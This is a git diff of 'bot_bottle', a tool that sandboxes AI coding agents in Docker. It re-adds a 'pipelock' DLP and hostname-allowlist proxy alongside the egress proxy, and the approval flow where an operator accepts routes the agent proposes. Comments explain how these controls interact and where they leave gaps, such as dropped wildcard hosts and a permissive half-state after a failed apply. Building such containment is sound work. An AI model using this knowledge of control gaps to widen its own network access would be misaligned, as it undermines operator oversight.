backend overrides to docker-cp the cert in and run
bot_bottle/backend/docker/__init__.py
+1
View File
@@ -4,6 +4,7 @@ The bulk of the implementation lives in sibling modules:
- util: thin Docker subprocess wrappers
- network: Docker network plumbing
- pipelock: DockerPipelockProxy lifecycle
- bottle_plan: DockerBottlePlan
- bottle_cleanup_plan: DockerBottleCleanupPlan
- bottle: DockerBottle handle
bot_bottle/backend/docker/bottle.py
+2 -4
View File
@@ -5,8 +5,6 @@ from __future__ import annotations
import subprocess
from typing import Callable
from typing import cast
from ...agent_provider import PromptMode, prompt_args
from .. import Bottle, ExecResult
@@ -25,7 +23,7 @@ class DockerBottle(Bottle):
):
self.name = container
self._teardown = teardown
self.prompt_path = prompt_path_in_container
self._prompt_path = prompt_path_in_container
self._agent_prompt_mode = agent_prompt_mode
self.agent_command = agent_command
self.agent_provider_template = (
@@ -38,7 +36,7 @@ class DockerBottle(Bottle):
) -> list[str]:
full_argv = list(argv)
full_argv.extend(
prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
)
cmd = ["docker", "exec"]
if tty:
bot_bottle/backend/docker/bottle_plan.py
+2
View File
@@ -11,6 +11,7 @@ from dataclasses import dataclass, field
from pathlib import Path
from ...agent_provider import PromptMode
from ...pipelock import PipelockProxyPlan
from .. import BottlePlan
@@ -39,6 +40,7 @@ class DockerBottlePlan(BottlePlan):
# accidental log of the plan dataclass.
forwarded_env: dict[str, str] = field(repr=False)
prompt_file: Path
proxy_plan: PipelockProxyPlan
use_runsc: bool
@property
bot_bottle/backend/docker/bottle_state.py
+17 -11
View File
@@ -35,7 +35,6 @@ import secrets
import string
from dataclasses import dataclass
from pathlib import Path
from typing import cast
from ... import supervise as _supervise
from . import util as docker_mod
@@ -49,6 +48,7 @@ _TRANSCRIPT_SUBDIR = "transcript"
# live here so chunk 3's `docker compose up` can find them at stable
# paths. Each sidecar's `prepare()` writes config + CAs into its own
# subdir; the launch step is unchanged today (still `docker cp`).
_PIPELOCK_SUBDIR = "pipelock"
_EGRESS_SUBDIR = "egress"
_GIT_GATE_SUBDIR = "git-gate"
_SUPERVISE_SUBDIR = "supervise"
@@ -56,8 +56,8 @@ _AGENT_SUBDIR = "agent"
_METADATA_NAME = "metadata.json"
# Live-config dir bind-mounted into the supervise sidecar (read-only).
# Host's apply paths keep these files fresh so supervise's
# `list-egress-routes` MCP tool returns the current state —
# not a snapshot from launch time.
# `list-pipelock-allowlist` / `list-egress-routes` MCP tools
# return the current state — not a snapshot from launch time.
_LIVE_CONFIG_SUBDIR = "live-config"
LIVE_CONFIG_ROUTES_NAME = "routes.yaml"
LIVE_CONFIG_ALLOWLIST_NAME = "allowlist"
@@ -135,15 +135,14 @@ def read_metadata(identity: str) -> BottleMetadata | None:
raw = json.loads(path.read_text())
if not isinstance(raw, dict):
return None
raw_typed = cast(dict[str, object], raw)
return BottleMetadata(
identity=str(raw_typed.get("identity", identity)),
agent_name=str(raw_typed.get("agent_name", "")),
cwd=str(raw_typed.get("cwd", "")),
copy_cwd=bool(raw_typed.get("copy_cwd", False)),
started_at=str(raw_typed.get("started_at", "")),
compose_project=str(raw_typed.get("compose_project", "")),
backend=str(raw_typed.get("backend", "")),
identity=str(raw.get("identity", identity)),
agent_name=str(raw.get("agent_name", "")),
cwd=str(raw.get("cwd", "")),
copy_cwd=bool(raw.get("copy_cwd", False)),
started_at=str(raw.get("started_at", "")),
compose_project=str(raw.get("compose_project", "")),
backend=str(raw.get("backend", "")),
)
@@ -233,6 +232,12 @@ def transcript_snapshot_dir(identity: str) -> Path:
# nothing requested preservation.
def pipelock_state_dir(identity: str) -> Path:
"""State subdir for the pipelock sidecar: pipelock.yaml + the
per-bottle CA cert/key. Bind-mount source from chunk 3 onward."""
return bottle_state_dir(identity) / _PIPELOCK_SUBDIR
def egress_state_dir(identity: str) -> Path:
"""State subdir for the egress sidecar: routes.yaml + the
per-bottle mitmproxy CA. Bind-mount source from chunk 3 onward."""
@@ -318,6 +323,7 @@ __all__ = [
"per_bottle_dockerfile",
"per_bottle_dockerfile_path",
"per_bottle_image_tag",
"pipelock_state_dir",
"preserve_marker_path",
"read_metadata",
"supervise_state_dir",
bot_bottle/backend/docker/capability_apply.py
+2
View File
@@ -30,6 +30,7 @@ semantics open question.
from __future__ import annotations
import os
import shutil
import subprocess
from pathlib import Path
@@ -38,6 +39,7 @@ from ...log import info, warn
from .bottle_state import (
mark_preserved,
per_bottle_dockerfile,
per_bottle_dockerfile_path,
transcript_snapshot_dir,
write_per_bottle_dockerfile,
)
bot_bottle/backend/docker/compose.py
+107 -32
View File
@@ -7,14 +7,34 @@ two networks, no named volumes.
Pure function. No I/O, no subprocess. Expects every launch-time
field (network names, CA host paths, etc.) on the plan's inner
plans to be populated; chunks 2+3 own that ordering.
plans to be populated; chunks 2+3 own that ordering. Chunk 1 just
encodes the translation so it can be unit-tested in isolation.
Conditional services follow the plan content:
Conditional services follow the plan content (matches the
SDK-call branching in `launch.py` today):
- agent + sidecars bundle: always.
- git-gate: iff plan.git_gate_plan.upstreams.
- egress: iff plan.egress_plan.routes.
- supervise: iff plan.supervise_plan is not None.
- pipelock + agent: always.
- git-gate: iff plan.git_gate_plan.upstreams.
- egress: iff plan.egress_plan.routes.
- supervise: iff plan.supervise_plan is not None.
Naming:
- Compose project: `bot-bottle-<slug>`.
- Service names (inside the file): `agent`, `pipelock`,
`egress`, `git-gate`, `supervise`.
- `container_name:` matches today's pattern
(`bot-bottle-<service>-<slug>`) so dashboard/cleanup discovery
via the prefix scan keeps working through the transition.
- Network aliases preserve the current dial-by-shortname pattern
for `egress` / `supervise`, and add the long container-name as
an internal-network alias for `pipelock` / `git-gate` so any
caller still referencing the long name resolves.
Sidecars that are built (egress, git-gate, supervise) get a
compose `build:` block pointing at the repo Dockerfile; the
`image:` tag is set explicitly so cached images on the daemon
aren't rebuilt on every up.
"""
from __future__ import annotations
@@ -31,6 +51,7 @@ from ...egress import (
)
from ...git_gate import GIT_GATE_HOSTNAME
from ...log import die, warn
from ...pipelock import PIPELOCK_HOSTNAME
from ...supervise import (
CURRENT_CONFIG_DIR_IN_AGENT,
QUEUE_DIR_IN_CONTAINER,
@@ -42,7 +63,7 @@ from ..util import AGENT_CA_BUNDLE, AGENT_CA_PATH
from .bottle_plan import DockerBottlePlan
from .egress import (
EGRESS_CA_IN_CONTAINER,
EGRESS_PORT,
EGRESS_PIPELOCK_CA_IN_CONTAINER,
)
from .git_gate import (
GIT_GATE_ACCESS_HOOK_IN_CONTAINER,
@@ -50,7 +71,11 @@ from .git_gate import (
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
GIT_GATE_HOOK_IN_CONTAINER,
)
from . import network as network_mod
from .pipelock import (
PIPELOCK_CA_CERT_IN_CONTAINER,
PIPELOCK_CA_KEY_IN_CONTAINER,
PIPELOCK_PORT,
)
from .sidecar_bundle import (
SIDECAR_BUNDLE_DOCKERFILE,
SIDECAR_BUNDLE_IMAGE,
@@ -66,11 +91,12 @@ def bottle_plan_to_compose(plan: DockerBottlePlan) -> dict[str, Any]:
"""Render a Compose v2 spec dict from a fully-resolved
DockerBottlePlan.
The plan must have its inner plans (`git_gate_plan`,
`egress_plan`, `supervise_plan`) populated with launch-time
fields — network names, CA host paths. The renderer doesn't
validate; callers feed it a fully-resolved plan or get an
incomplete compose spec back.
The plan must have its inner plans (`proxy_plan`,
`git_gate_plan`, `egress_plan`, `supervise_plan`) populated
with launch-time fields — network names, CA host paths,
pipelock_proxy_url. The renderer doesn't validate; callers
feed it a fully-resolved plan or get an incomplete compose
spec back.
"""
project = f"bot-bottle-{plan.slug}"
services: dict[str, Any] = {
@@ -92,11 +118,11 @@ def _networks(plan: DockerBottlePlan) -> dict[str, Any]:
bridge."""
return {
"internal": {
"name": network_mod.network_name_for_slug(plan.slug),
"name": plan.proxy_plan.internal_network,
"internal": True,
},
"egress": {
"name": network_mod.network_egress_name_for_slug(plan.slug),
"name": plan.proxy_plan.egress_network,
},
}
@@ -116,12 +142,29 @@ def _bind(host: str | Path, target: str, *, read_only: bool = True) -> dict[str,
def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
"""The `sidecars` service: one container per bottle, bundle
image, all daemons under a Python init supervisor.
image, all four daemons under a Python init supervisor.
Daemon subset narrows via `BOT_BOTTLE_SIDECAR_DAEMONS` env.
egress is always present; git-gate / supervise are conditional.
Mechanics:
- Daemon subset narrows via `BOT_BOTTLE_SIDECAR_DAEMONS`
env. pipelock is always present; egress / git-gate /
supervise are conditional on the plan.
- Volumes are the union of the four daemons' bind-mounts,
preserving the same in-container paths so each daemon
finds its config / hooks / CA where it expects.
- Environment is the union of *daemon-private* env vars
(EGRESS_UPSTREAM_PROXY, SUPERVISE_BOTTLE_SLUG, etc).
HTTPS_PROXY is NOT propagated here — see the comment in
egress_entrypoint.sh; setting it at the container level
would route git-gate's git fetches through pipelock,
which is wrong.
- Network aliases register every legacy short/long
hostname (pipelock, egress, git-gate, supervise plus
their `bot-bottle-<service>-<slug>` long forms) so
the agent's HTTPS_PROXY URL and any other inter-service
reference resolves to the bundle.
"""
daemons: list[str] = ["egress"]
daemons: list[str] = ["egress", "pipelock"]
if plan.git_gate_plan.upstreams:
daemons.append("git-gate")
if plan.supervise_plan is not None:
@@ -130,15 +173,31 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
env: list[str] = [f"BOT_BOTTLE_SIDECAR_DAEMONS={','.join(daemons)}"]
volumes: list[dict[str, Any]] = []
# --- egress -------------------------------------------------------
# --- pipelock ----------------------------------------------------
pp = plan.proxy_plan
volumes += [
_bind(pp.yaml_path, "/etc/pipelock.yaml"),
_bind(pp.ca_cert_host_path, PIPELOCK_CA_CERT_IN_CONTAINER),
_bind(pp.ca_key_host_path, PIPELOCK_CA_KEY_IN_CONTAINER),
]
# --- egress (always part of the bundle; the EGRESS_UPSTREAM_*
# env vars + ca bind-mounts are needed iff routes exist; when
# the bottle has no routes the egress daemon falls back to its
# `regular@9099` mode and is unused) -----------------------------
ep = plan.egress_plan
volumes.append(_bind(ep.mitmproxy_ca_host_path, EGRESS_CA_IN_CONTAINER))
if ep.routes:
volumes.append(_bind(ep.routes_path, EGRESS_ROUTES_IN_CONTAINER))
env.append(f"EGRESS_UPSTREAM_PROXY={ep.pipelock_proxy_url}")
env.append(f"EGRESS_UPSTREAM_CA={EGRESS_PIPELOCK_CA_IN_CONTAINER}")
volumes += [
_bind(ep.routes_path, EGRESS_ROUTES_IN_CONTAINER),
_bind(ep.mitmproxy_ca_host_path, EGRESS_CA_IN_CONTAINER),
_bind(ep.pipelock_ca_host_path, EGRESS_PIPELOCK_CA_IN_CONTAINER),
]
for token_env in sorted(ep.token_env_map.keys()):
env.append(token_env)
# --- git-gate -----------------------------------------------------
# --- git-gate ----------------------------------------------------
gp = plan.git_gate_plan
if gp.upstreams:
volumes += [
@@ -158,7 +217,7 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{u.name}-known_hosts",
))
# --- supervise ----------------------------------------------------
# --- supervise ---------------------------------------------------
sp = plan.supervise_plan
if sp is not None:
env += [
@@ -173,7 +232,13 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
"read_only": False,
})
internal_aliases = [EGRESS_HOSTNAME]
# Internal-network aliases: the agent reaches each daemon through
# its short name (pipelock / egress / git-gate / supervise) which
# the bundle answers as if it were the daemon itself.
internal_aliases = [
PIPELOCK_HOSTNAME,
EGRESS_HOSTNAME,
]
if gp.upstreams:
internal_aliases.append(GIT_GATE_HOSTNAME)
if sp is not None:
@@ -198,8 +263,11 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]:
def _agent_service(plan: DockerBottlePlan) -> dict[str, Any]:
"""Agent container. Runs `sleep infinity`; claude is `docker
exec -it`'d into it later. HTTP_PROXY/HTTPS_PROXY point at the
egress sidecar."""
exec -it`'d into it later. No TTY at the container level —
interactivity is per-exec. HTTP_PROXY/HTTPS_PROXY point at the
egress short-alias when an egress is declared, otherwise
straight at pipelock's container name. CA trust trio matches
the existing launch.py wiring."""
proxy_url = _agent_proxy_url(plan)
no_proxy = _agent_no_proxy(plan)
env: list[str] = [
@@ -251,14 +319,21 @@ def _agent_service(plan: DockerBottlePlan) -> dict[str, Any]:
def _agent_proxy_url(plan: DockerBottlePlan) -> str:
"""Agent's HTTP_PROXY — always points at egress."""
return f"http://{EGRESS_HOSTNAME}:{EGRESS_PORT}"
"""Pick the agent's HTTP_PROXY. With egress declared, the agent
goes through egress (which in turn HTTPS_PROXYs to pipelock on
its outbound leg). Without egress, the agent talks straight to
pipelock."""
if plan.egress_plan.routes:
from .egress import EGRESS_PORT
return f"http://{EGRESS_HOSTNAME}:{EGRESS_PORT}"
return f"http://{PIPELOCK_HOSTNAME}:{PIPELOCK_PORT}"
def _agent_no_proxy(plan: DockerBottlePlan) -> str:
"""NO_PROXY for the agent: loopback always; supervise hostname
when the supervise sidecar is up (MCP long-poll must bypass
the egress proxy)."""
"""NO_PROXY for the agent. Matches the launch.py rules:
loopback always, supervise hostname when the supervise sidecar
is up (the MCP long-poll pattern needs to bypass pipelock's
idle timeout)."""
hosts = ["localhost", "127.0.0.1"]
if plan.supervise_plan is not None:
hosts.append(SUPERVISE_HOSTNAME)
bot_bottle/backend/docker/egress.py
+17 -3
View File
@@ -22,8 +22,14 @@ from ...log import die
EGRESS_PORT = int(os.environ.get("BOT_BOTTLE_EGRESS_PORT", "9099"))
# In-container path for mitmproxy's CA. The format is a single PEM
# file holding BOTH the cert and the private key, concatenated.
# file holding BOTH the cert and the private key, concatenated. The
# upstream-trust CA (pipelock's, so egress trusts the upstream
# leg) is a separate file because pipelock keeps a different CA on
# its end.
EGRESS_CA_IN_CONTAINER = "/home/mitmproxy/.mitmproxy/mitmproxy-ca.pem"
EGRESS_PIPELOCK_CA_IN_CONTAINER = (
"/home/mitmproxy/.mitmproxy/pipelock-ca.pem"
)
def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]:
@@ -36,8 +42,16 @@ def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]:
trust store by `provision_ca` so the agent trusts the bumped
CONNECT cert egress presents.
openssl req's `subjectKeyIdentifier=hash` extension uses
SHA-1(pubkey), matching mitmproxy's AKI computation on leaves.
Why openssl req (not the pipelock binary's `tls init`):
pipelock's CA generator stamps a non-standard `Subject Key
Identifier` on the CA (random rather than SHA-1 of the pubkey).
mitmproxy computes the `Authority Key Identifier` on each leaf
it mints as SHA-1(issuer's pubkey). openssl's chain validator
uses the leaf's AKI to find the issuer cert by SKI; pipelock's
SKI doesn't match → openssl reports "unable to get local issuer
certificate" even though the CA is right there in the trust
store. openssl req's `subjectKeyIdentifier=hash` extension uses
SHA-1(pubkey), matching mitmproxy's computation.
Both files live under `<stage_dir>/egress-ca/` (mode 644 —
`docker cp` preserves the mode into the container, where the
bot_bottle/backend/docker/egress_apply.py
+200 -92
View File
@@ -1,28 +1,51 @@
"""Host-side helper to apply a routes.yaml change to a running
egress sidecar (PRD 0014 retargeted by PRD 0017 chunk 3, PRD 0053).
egress sidecar (PRD 0014 retargeted by PRD 0017 chunk 3).
Used by the supervise dashboard when the operator approves an
egress-block proposal. Fetches current routes.yaml, validates,
writes into the sidecar, then SIGHUPs to reload.
egress-block proposal (or runs the operator-initiated
`routes edit <bottle>` verb). Fetches the current routes.yaml via
`docker exec cat`, validates the new content, writes it into the
sidecar via `docker cp`, then `docker kill --signal HUP` to make
the addon reload without dropping connections.
Also mirrors the new route hosts into pipelock's hostname allowlist
so the downstream leg lets them through — egress enforces
the path-aware allowlist on the agent leg, pipelock enforces the
hostname allowlist + DLP body scan on the upstream leg, and a
host added to one must be in the other or the request 403s
somewhere along the chain.
Raises EgressApplyError on any failure — the dashboard
surfaces the message and keeps the proposal pending so the
operator can retry.
"""
from __future__ import annotations
import json
import re
import subprocess
from pathlib import Path
from typing import cast
from ...egress import EGRESS_ROUTES_IN_CONTAINER
from ...egress_addon_core import load_routes
from ...yaml_subset import YamlSubsetError, parse_yaml_subset
from .bottle_state import egress_state_dir
from .sidecar_bundle import sidecar_bundle_container_name
from .pipelock_apply import (
PipelockApplyError,
apply_allowlist_change,
fetch_current_allowlist,
parse_allowlist_content,
render_allowlist_content,
)
def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
"""Render a list-of-dicts routes payload as YAML matching the
shape `egress_render_routes` produces."""
shape `egress_render_routes` produces. The apply path
round-trips current routes.yaml through this so the file the
sidecar sees stays in the YAML format the addon expects."""
if not routes_list:
return "routes: []\n"
lines: list[str] = ["routes:"]
@@ -34,42 +57,30 @@ def _render_routes_payload(routes_list: list[dict[str, object]]) -> str:
if auth_scheme and token_env:
lines.append(f' auth_scheme: "{auth_scheme}"')
lines.append(f' token_env: "{token_env}"')
matches_obj = entry.get("matches")
if isinstance(matches_obj, list) and matches_obj:
lines.append(" matches:")
for match_entry in matches_obj:
me = cast(dict[str, object], match_entry)
first_key = True
if "paths" in me:
lines.append(" - paths:")
first_key = False
for pd in cast(list[dict[str, str]], me["paths"]):
if "type" in pd:
lines.append(f' - type: "{pd["type"]}"')
lines.append(f' value: "{pd["value"]}"')
else:
lines.append(f' - value: "{pd["value"]}"')
if "methods" in me:
methods_str = ", ".join(
f'"{m}"' for m in cast(list[str], me["methods"])
)
prefix = " - " if first_key else " "
lines.append(f'{prefix}methods: [{methods_str}]')
first_key = False
if first_key:
lines.append(" - {}")
paths = entry.get("path_allowlist") or []
if paths:
lines.append(" path_allowlist:")
for p in paths:
lines.append(f' - "{p}"')
return "\n".join(lines) + "\n"
def _egress_routes_host_path(slug: str) -> Path:
"""The bind-mount source for the egress sidecar's routes.yaml.
Must match what egress.prepare wrote at chunk-2 paths."""
return egress_state_dir(slug) / "egress_routes.yaml"
class EgressApplyError(RuntimeError):
pass
"""Raised when fetch / apply fails. Caller renders to the
operator; does not crash the dashboard."""
def fetch_current_routes(slug: str) -> str:
"""Read the live routes.yaml from the running egress sidecar
for `slug`. Returns the file content as a string. Raises
EgressApplyError if the sidecar isn't reachable or the read
fails."""
container = sidecar_bundle_container_name(slug)
r = subprocess.run(
["docker", "exec", container, "cat", EGRESS_ROUTES_IN_CONTAINER],
@@ -84,6 +95,9 @@ def fetch_current_routes(slug: str) -> str:
def validate_routes_content(content: str) -> None:
"""Syntactic check before SIGHUP — the addon's reload also
validates, but failing here keeps the old routes live and gives
the operator a clearer error than the addon's stderr line."""
try:
load_routes(content)
except ValueError as e:
@@ -92,14 +106,113 @@ def validate_routes_content(content: str) -> None:
) from e
def _hosts_in_routes(content: str) -> list[str]:
"""Extract the host list from a routes.yaml content string.
Uses the addon's own parser so any host the addon will match on
also lands in pipelock's allowlist. Returns sorted+deduped."""
try:
routes = load_routes(content)
except ValueError as e:
raise EgressApplyError(
f"proposed routes.yaml is not valid: {e}"
) from e
return sorted({r.host for r in routes if r.host})
# Pipelock's allowlist parser accepts only literal hostnames:
# `[A-Za-z0-9_.-]+`. Anything else (wildcards, IPv6 literals,
# stray characters) is silently dropped from the mirror so the
# pipelock apply doesn't fail parse before the new yaml is even
# written. The dropped hosts stay on egress's route table —
# but the addon does exact-host match only, so they'll never
# match anything either. (Wildcard host matching was removed —
# see `match_route` in egress_addon_core for the rationale.)
_PIPELOCK_HOST_RE = re.compile(r"^[A-Za-z0-9_.-]+$")
def _pipelock_safe_hosts(hosts: list[str]) -> list[str]:
"""Drop any host pipelock's allowlist parser would reject.
Order preserved."""
return [h for h in hosts if _PIPELOCK_HOST_RE.match(h)]
def _mirror_hosts_to_pipelock(slug: str, hosts: list[str]) -> None:
"""Ensure every pipelock-compatible `hosts` entry is on
pipelock's allowlist. Fetches pipelock's current allowlist,
merges, re-applies. Hosts pipelock can't represent (wildcards,
etc.) are silently skipped — they stay live on egress
but aren't enforced at pipelock. No-op if every host is already
present (apply still restarts pipelock if any host is new).
Raises EgressApplyError on pipelock failures so the
caller's diff/audit reflects the half-state."""
safe_hosts = _pipelock_safe_hosts(hosts)
try:
current = fetch_current_allowlist(slug)
existing = parse_allowlist_content(current)
merged = sorted(set(existing) | set(safe_hosts))
if merged == sorted(existing):
return # nothing to add
apply_allowlist_change(slug, render_allowlist_content(merged))
except PipelockApplyError as e:
# Mirror runs BEFORE the egress write, so egress
# is unchanged on this failure path. Report it as a
# pipelock-side problem so the operator looks in the right
# place; their `pipelock edit` flow can repair manually.
raise EgressApplyError(
f"pipelock allowlist mirror failed (egress NOT "
f"updated): {e}. Fix pipelock's allowlist manually with "
f"`pipelock edit <bottle>` then retry the proposal."
) from e
def apply_routes_change(slug: str, new_content: str) -> tuple[str, str]:
"""Apply `new_content` to the egress sidecar for `slug`:
1. Fetch current routes.yaml (for the before-diff).
2. Validate the new content via the addon's own parser.
3. Mirror the route hosts onto pipelock's allowlist (so the
downstream hostname gate lets them through).
4. Write to a temp file, `docker cp` into the egress
sidecar.
5. `docker kill --signal HUP` so the addon reloads.
Order matters: pipelock first, then egress. If the
pipelock step fails, egress hasn't been touched and the
old routes stay live. If the egress step fails after
pipelock succeeded, pipelock has the host in its allowlist but
egress doesn't enforce it yet — harmless extra-permissive
state at pipelock, and a re-approval will land the egress
side.
Returns (before, after) where `after` == `new_content`. Raises
EgressApplyError on any step."""
container = sidecar_bundle_container_name(slug)
before = fetch_current_routes(slug)
validate_routes_content(new_content)
# Pipelock mirror first — if it fails, egress stays intact
# and the operator gets a clear error about the half-state.
_mirror_hosts_to_pipelock(slug, _hosts_in_routes(new_content))
# routes.yaml is bind-mounted into the egress container as a
# SINGLE FILE. Docker single-file bind mounts pin the source
# inode at mount time; write-temp-then-rename swaps the inode
# on the host, which leaves the container's mount pointing at
# the now-orphaned old inode (so the SIGHUP'd reload re-reads
# unchanged content). Write in-place instead. Lose file-level
# atomicity, but the apply path issues SIGHUP only AFTER the
# write returns, and the addon's `load_routes` raises
# `ValueError` on a partial read and keeps the previous
# in-memory routes — so a SIGHUP that hypothetically raced an
# in-flight write is non-disruptive.
target = _egress_routes_host_path(slug)
target.parent.mkdir(parents=True, exist_ok=True)
target.write_text(new_content)
# mitmproxy in the container reads through the bind mount as
# uid 1000; the host file has to be world-readable for that
# read to succeed (parent dir at 0o700 still restricts who
# can reach the file on the host). Routes content is not
# secret — tokens live in the container's environ — so 0o644
# is the right trade-off.
target.chmod(0o644)
sig = subprocess.run(
["docker", "kill", "--signal", "HUP", container],
@@ -117,12 +230,22 @@ def apply_routes_change(slug: str, new_content: str) -> tuple[str, str]:
def _merge_single_route(
current_yaml: str, new_route: dict[str, object],
) -> str:
"""Merge a single proposed route into the current routes.yaml.
"""Merge a single proposed route into the current routes.yaml
content, returning the merged YAML string.
- Host absent → append the route.
- Host present → union the match paths (proposed ∪ existing).
Auth is preserved from existing route.
"""
Behavior:
- If `new_route['host']` is NOT in the current routes →
append the route.
- If the host IS already present → union the path_allowlist
entries (proposed ∪ existing). The existing `auth_scheme`
and `token_env` are preserved — agent-proposed auth changes
on an existing host are ignored, matching the tool's
documented semantics.
Round-trips the file through `yaml_subset` (the same parser
the addon uses), so the merged output is in the YAML format
the sidecar reads. Token VALUES never appear here; the routes
file carries only env-var slot NAMES."""
try:
cfg = parse_yaml_subset(current_yaml)
except YamlSubsetError as e:
@@ -134,7 +257,6 @@ def _merge_single_route(
raise EgressApplyError(
"current routes.yaml: 'routes' is not a list"
)
routes_typed = cast(list[object], routes)
new_host = str(new_route.get("host", "")).lower()
if not new_host:
@@ -142,75 +264,61 @@ def _merge_single_route(
"proposed route is missing 'host'"
)
# Build proposed matches from the input
proposed_matches = new_route.get("matches")
if proposed_matches is None:
# Accept legacy path_allowlist from agent proposals and convert
proposed_paths = new_route.get("path_allowlist")
if isinstance(proposed_paths, list) and proposed_paths:
proposed_matches = [{"paths": [{"value": p} for p in proposed_paths]}]
proposed_paths = list(new_route.get("path_allowlist") or [])
for entry in routes_typed:
# Look for an existing entry with the same host (case-insensitive).
for entry in routes:
if not isinstance(entry, dict):
continue
entry_typed = cast(dict[str, object], entry)
if str(entry_typed.get("host", "")).lower() == new_host:
# Merge matches: union path values from proposed into existing
if isinstance(proposed_matches, list) and proposed_matches:
existing_matches = entry_typed.get("matches")
if not isinstance(existing_matches, list):
existing_matches = []
# Simple merge: collect all existing path values, add new ones
existing_paths: set[str] = set()
for me in existing_matches:
me_typed = cast(dict[str, object], me) if isinstance(me, dict) else {}
paths = me_typed.get("paths")
if isinstance(paths, list):
for p in paths:
p_typed = cast(dict[str, object], p) if isinstance(p, dict) else {}
val = p_typed.get("value")
if isinstance(val, str):
existing_paths.add(val)
new_paths: list[str] = []
for me in proposed_matches:
me_typed = cast(dict[str, object], me) if isinstance(me, dict) else {}
paths = me_typed.get("paths")
if isinstance(paths, list):
for p in paths:
p_typed = cast(dict[str, object], p) if isinstance(p, dict) else {}
val = p_typed.get("value")
if isinstance(val, str) and val not in existing_paths:
new_paths.append(val)
existing_paths.add(val)
if new_paths:
existing_matches.append(
{"paths": [{"value": p} for p in new_paths]}
)
entry_typed["matches"] = existing_matches
if str(entry.get("host", "")).lower() == new_host:
# Merge path_allowlist: union proposed + existing, ordered
# by first-seen so existing paths stay in original order.
existing_paths: list[str] = list(entry.get("path_allowlist") or [])
seen = {p: None for p in existing_paths}
for p in proposed_paths:
seen.setdefault(p, None)
merged_paths = list(seen.keys())
if merged_paths:
entry["path_allowlist"] = merged_paths
# Preserve existing auth — tool description says agent-
# proposed auth on an existing host is ignored.
break
else:
entry_typed: dict[str, object] = {"host": new_route.get("host")} # type: ignore
if isinstance(proposed_matches, list) and proposed_matches:
entry_typed["matches"] = proposed_matches
# Host not present; build a new route entry from the
# proposed fields. Need to assign a token_env slot if
# `auth` was proposed (otherwise the addon's parser rejects
# a half-set auth pair). Slots: count existing slots, pick
# the next free index.
entry = {"host": new_route["host"]}
if proposed_paths:
entry["path_allowlist"] = proposed_paths
auth = new_route.get("auth")
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"): # type: ignore
auth_typed = cast(dict[str, object], auth)
if isinstance(auth, dict) and auth.get("scheme") and auth.get("token_ref"):
existing_slots = sorted({
str(r_entry.get("token_env", ""))
for r_entry_obj in routes_typed
if isinstance(r_entry_obj, dict)
for r_entry in [cast(dict[str, object], r_entry_obj)]
if r_entry.get("token_env")
str(r.get("token_env"))
for r in routes
if isinstance(r, dict) and r.get("token_env")
})
next_idx = len(existing_slots)
entry_typed["auth_scheme"] = str(cast(object, auth_typed.get("scheme")))
entry_typed["token_env"] = f"EGRESS_TOKEN_{next_idx}"
routes_typed.append(entry_typed)
entry["auth_scheme"] = str(auth["scheme"])
entry["token_env"] = f"EGRESS_TOKEN_{next_idx}"
# NOTE: the addon reads token VALUES from its container's
# environ keyed by token_env. A newly-added auth route at
# runtime points at a slot that has no env value → the
# addon will 403 with "token env unset" until the operator
# arranges for the value to land in the container's env.
# Recording this here so the operator-facing diff carries
# the slot name they'll need to provision.
routes.append(entry)
return _render_routes_payload(cast(list[dict[str, object]], routes_typed))
return _render_routes_payload(routes)
def add_route(slug: str, proposed_route_json: str) -> tuple[str, str]:
"""Apply a single-route addition to the egress. Parses the
agent's proposed route, fetches the current routes file, merges,
and applies via `apply_routes_change`. Returns (before, after)
full-file content for the audit log."""
try:
proposed = json.loads(proposed_route_json)
except json.JSONDecodeError as e:
bot_bottle/backend/docker/launch.py
+52 -14
View File
@@ -6,10 +6,16 @@ The flow is:
1. Build the agent's base + derived image (compose builds the
sidecar images via the `build:` directive on first up).
2. Mint the per-bottle egress CA (chunk 2 writes it under
state/<slug>/egress/).
3. Populate the inner plans with launch-time fields so the
renderer can read network names, CA paths.
2. Pre-create the per-bottle networks. We do this outside compose
so we can inspect the assigned internal CIDR and embed it in
pipelock's yaml (compose's `external: true` lets the compose
file reference these pre-existing networks).
3. Mint the per-bottle CAs (chunk 2 writes them under
state/<slug>/{pipelock,egress}/).
4. Re-render pipelock yaml with the now-known internal CIDR so
the SSRF allowlist exempts the bottle's own subnet.
5. Populate the inner plans with launch-time fields so the
renderer can read network names, CA paths, pipelock URL.
6. Render the compose spec, write it to
state/<slug>/docker-compose.yml, write metadata.json.
7. `docker compose up -d` (token + OAuth values flow into the
@@ -47,6 +53,7 @@ from .bottle_state import (
bottle_state_dir,
egress_state_dir,
git_gate_state_dir,
pipelock_state_dir,
)
from .compose import (
bottle_plan_to_compose,
@@ -59,6 +66,10 @@ from .compose import (
write_compose_file,
)
from .egress import egress_tls_init
from .pipelock import (
BUNDLE_LOCAL_PIPELOCK_URL,
pipelock_tls_init,
)
# Where the repo root lives, for `docker build` context. Computed once.
@@ -69,7 +80,7 @@ _REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
def launch(
plan: DockerBottlePlan,
*,
provision: Callable[[DockerBottlePlan, "DockerBottle"], str | None],
provision: Callable[[DockerBottlePlan, str], str | None],
) -> Generator[DockerBottle, None, None]:
"""Build, launch, and provision a Docker bottle via compose.
Teardown on exit."""
@@ -81,7 +92,7 @@ def launch(
def teardown() -> None:
try:
stack.close()
except BaseException as exc: # noqa: W0718 — teardown must not fail
except BaseException as exc:
warn(
f"teardown failed for container {plan.container_name}"
f" (compose-down): {exc!r}"
@@ -102,13 +113,35 @@ def launch(
plan.derived_image, plan.image, plan.workspace_plan
)
# Networks: compose-managed. The names are derived
# deterministically from the slug so the renderer can put
# them on the services and `compose up` creates them with
# those names. The empirical spike confirmed pipelock's
# SSRF guard only checks proxied-request destinations, not
